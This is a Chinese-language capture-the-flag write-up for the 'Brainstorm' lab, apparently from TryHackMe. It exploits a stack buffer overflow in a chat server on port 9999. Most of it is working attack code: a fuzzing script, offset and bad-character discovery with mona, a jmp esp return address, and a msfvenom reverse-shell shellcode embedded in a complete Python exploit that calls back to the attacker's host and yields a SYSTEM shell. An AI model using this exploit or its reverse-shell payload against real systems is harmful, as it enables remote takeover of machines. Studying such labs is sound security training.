Brainstorm WriteUp - Buffer Overflows
端口扫描
开放了一个21端口一个3389端口和一个9999端口
21端口ftp尝试未授权访问
得到了一个chatserver.exe
和 一个 essfunc.dll
9999端口运行着这个exe
exe拉到本地用Immunity Debugger打开
fuzz一下溢出
import socket
import sys
import time
ip = "192.168.31.78"
port = 9999
timeout = 5
payload = "A"*100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
print(f"Fuzzing with {len(payload)} bytes")
s.recv(1024)
s.send(b"xux\r\n")
s.recv(1024)
s.send(bytes(payload + '\r\n', "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(payload)))
sys.exit(0)
payload += "A"*100
time.sleep(1)
2200 bytes的时候crack了
此时EIP被0x41覆盖
生成一个长度大于2400的随机字符
/opt/metasploit-framework/tools/exploit/pattern_create.rb -l 2600
import socket
ip = "192.168.31.78"
port = 9999
prefix = ""
offset = 0
overflow = "A"*offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2A...."
postfix = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = prefix + overflow + retn + padding + payload + postfix
try:
s.connect((ip, port))
s.recv(1024)
s.send(b"xux\r\n")
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer+'\r\n',"latin-1"))
print("Done!")
except:
print("Could not connect.")
运行脚本
在Immunity Debug中使用mona插件辅助查找EIP的offset
!mona findmsp -distance 2600
得到EIP的offset为2012 此时通过控制offset我们就可以控制函数的返回地址
然后使用mona生成byte数组来测试bad char
!mona bytearray -b "\x00"
在payload中放置同样的byte字符
import socket
ip = "192.168.31.78"
port = 9999
prefix = ""
offset = 2012
overflow = "A"*offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = prefix + overflow + retn + padding + payload + postfix
try:
s.connect((ip, port))
s.recv(1024)
s.send(b"xux\r\n")
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer+'\r\n',"latin-1"))
print("Done!")
except:
print("Could not connect.")
发送后得到此时的EIP已经是我们控制的BBBB,ESP为07C5EE10
使用mona排查bad char
!mona compare -f C:\mona\chatserver\bytearray.bin -a 07C5EE10
不存在bad char
找一条jmp esp的指令地址
!mona jmp -r esp -cpb "\x00"
随便选一个0x625014df
尝试直接打远程
生成shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=10.18.11.89 LPORT=4444 -b "\x00" -f c
exp:
import socket
ip = "10.10.199.17"
port = 9999
prefix = ""
offset = 2012
overflow = "A"*offset
retn = "\xdf\x14\x50\x62"
padding = "\x90"*16
payload = (
"\xdb\xc8\xd9\x74\x24\xf4\xb8\x25\xec\x3d\x8c\x5d\x29\xc9"
"\xb1\x52\x83\xed\xfc\x31\x45\x13\x03\x60\xff\xdf\x79\x96"
"\x17\x9d\x82\x66\xe8\xc2\x0b\x83\xd9\xc2\x68\xc0\x4a\xf3"
"\xfb\x84\x66\x78\xa9\x3c\xfc\x0c\x66\x33\xb5\xbb\x50\x7a"
"\x46\x97\xa1\x1d\xc4\xea\xf5\xfd\xf5\x24\x08\xfc\x32\x58"
"\xe1\xac\xeb\x16\x54\x40\x9f\x63\x65\xeb\xd3\x62\xed\x08"
"\xa3\x85\xdc\x9f\xbf\xdf\xfe\x1e\x13\x54\xb7\x38\x70\x51"
"\x01\xb3\x42\x2d\x90\x15\x9b\xce\x3f\x58\x13\x3d\x41\x9d"
"\x94\xde\x34\xd7\xe6\x63\x4f\x2c\x94\xbf\xda\xb6\x3e\x4b"
"\x7c\x12\xbe\x98\x1b\xd1\xcc\x55\x6f\xbd\xd0\x68\xbc\xb6"
"\xed\xe1\x43\x18\x64\xb1\x67\xbc\x2c\x61\x09\xe5\x88\xc4"
"\x36\xf5\x72\xb8\x92\x7e\x9e\xad\xae\xdd\xf7\x02\x83\xdd"
"\x07\x0d\x94\xae\x35\x92\x0e\x38\x76\x5b\x89\xbf\x79\x76"
"\x6d\x2f\x84\x79\x8e\x66\x43\x2d\xde\x10\x62\x4e\xb5\xe0"
"\x8b\x9b\x1a\xb0\x23\x74\xdb\x60\x84\x24\xb3\x6a\x0b\x1a"
"\xa3\x95\xc1\x33\x4e\x6c\x82\x31\x9d\x65\x0b\x2e\xa3\x79"
"\xba\xf2\x2a\x9f\xd6\x1a\x7b\x08\x4f\x82\x26\xc2\xee\x4b"
"\xfd\xaf\x31\xc7\xf2\x50\xff\x20\x7e\x42\x68\xc1\x35\x38"
"\x3f\xde\xe3\x54\xa3\x4d\x68\xa4\xaa\x6d\x27\xf3\xfb\x40"
"\x3e\x91\x11\xfa\xe8\x87\xeb\x9a\xd3\x03\x30\x5f\xdd\x8a"
"\xb5\xdb\xf9\x9c\x03\xe3\x45\xc8\xdb\xb2\x13\xa6\x9d\x6c"
"\xd2\x10\x74\xc2\xbc\xf4\x01\x28\x7f\x82\x0d\x65\x09\x6a"
"\xbf\xd0\x4c\x95\x70\xb5\x58\xee\x6c\x25\xa6\x25\x35\x55"
"\xed\x67\x1c\xfe\xa8\xf2\x1c\x63\x4b\x29\x62\x9a\xc8\xdb"
"\x1b\x59\xd0\xae\x1e\x25\x56\x43\x53\x36\x33\x63\xc0\x37"
"\x16"
)
postfix = ""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = prefix + overflow + retn + padding + payload + postfix
try:
s.connect((ip, port))
s.recv(1024)
s.send(b"xux\r\n")
s.recv(1024)
print("Sending evil buffer...")
s.send(bytes(buffer+'\r\n',"latin-1"))
print("Done!")
except:
print("Could not connect.")
程序返回的时候会执行JMP ESP
而此时的ESP所指就是我们添加的NOP+shellcode
就会执行shellcode
返回了一个system shell